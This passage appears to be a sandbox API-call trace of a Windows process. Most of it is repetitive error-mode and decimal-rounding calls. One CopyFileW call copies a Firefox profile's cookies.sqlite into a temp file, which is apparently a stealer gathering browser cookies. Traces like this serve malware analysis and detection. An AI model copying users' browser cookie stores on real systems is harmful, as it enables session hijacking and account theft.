SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0195.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0196.094] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", nBufferLength=0x105, lpBuffer=0x12fea58, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.MSO", lpFilePart=0x0) returned 0x45 [0196.111] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\UPPS", nBufferLength=0x105, lpBuffer=0x12feac8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\UPPS", lpFilePart=0x0) returned 0x34 [0197.028] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer", nBufferLength=0x105, lpBuffer=0x12feba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer", lpFilePart=0x0) returned 0x2b [0197.133] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.7300489+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_05.7300489+02_0011"), bFailIfExists=0) returned 1 [0197.237] ReadFile (in: hFile=0x4e4, lpBuffer=0x4439988, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x12ff014, lpOverlapped=0x0 | out: lpBuffer=0x4439988*, lpNumberOfBytesRead=0x12ff014*=0x80000, lpOverlapped=0x0) returned 1 [0197.279] VarDecCmp (pdecLeft=0x12ff134, pdecRight=0x12ff124) returned 0x2 [0197.279] VarDecRound (in: pdecIn=0x12fea60, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea60, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.279] VarDecCmp (pdecLeft=0x12fead8, pdecRight=0x12feac8) returned 0x1 [0197.279] VarDecRound (in: pdecIn=0x12fea60, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea60, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.279] VarDecCmp (pdecLeft=0x12ff0bc, pdecRight=0x12fead8) returned 0x1 [0197.279] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12feaa0 | out: pdecResult=0x12feaa0) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12feaa0 | out: pdecResult=0x12feaa0) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12feaa0 | out: pdecResult=0x12feaa0) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12feaa0 | out: pdecResult=0x12feaa0) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea60, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.279] VarDecCmp (pdecLeft=0x12fead8, pdecRight=0x12feac8) returned 0x1 [0197.279] VarDecRound (in: pdecIn=0x12fea60, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea60, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.279] VarDecCmp (pdecLeft=0x12ff0bc, pdecRight=0x12fead8) returned 0x1 [0197.279] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12feaa0 | out: pdecResult=0x12feaa0) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12feaa0 | out: pdecResult=0x12feaa0) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12feaa0 | out: pdecResult=0x12feaa0) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12feaa0 | out: pdecResult=0x12feaa0) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea60, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.279] VarDecCmp (pdecLeft=0x12fead8, pdecRight=0x12feac8) returned 0x1 [0197.279] VarDecRound (in: pdecIn=0x12fea60, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea60, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.279] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12fea70 | out: pdecResult=0x12fea70) returned 0x0 [0197.280] VarDecCmp (pdecLeft=0x12ff0bc, pdecRight=0x12fead8) returned 0x1 [0197.280] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12feaa0 | out: pdecResult=0x12feaa0) returned 0x0 [0197.280] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12feaa0 | out: pdecResult=0x12feaa0) returned 0x0 [0197.280] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12feaa0 | out: pdecResult=0x12feaa0) returned 0x0 [0197.280] VarDecRound (in: pdecIn=0x12fea90, cDecimals=0, pdecResult=0x12feaa0 | out: pdecResult=0x12feaa0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x2 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.281] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x2 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.282] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x2 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.283] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x2 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.284] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x2 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.285] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x2 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.286] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.287] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x2 [0197.287] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.288] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecCmp 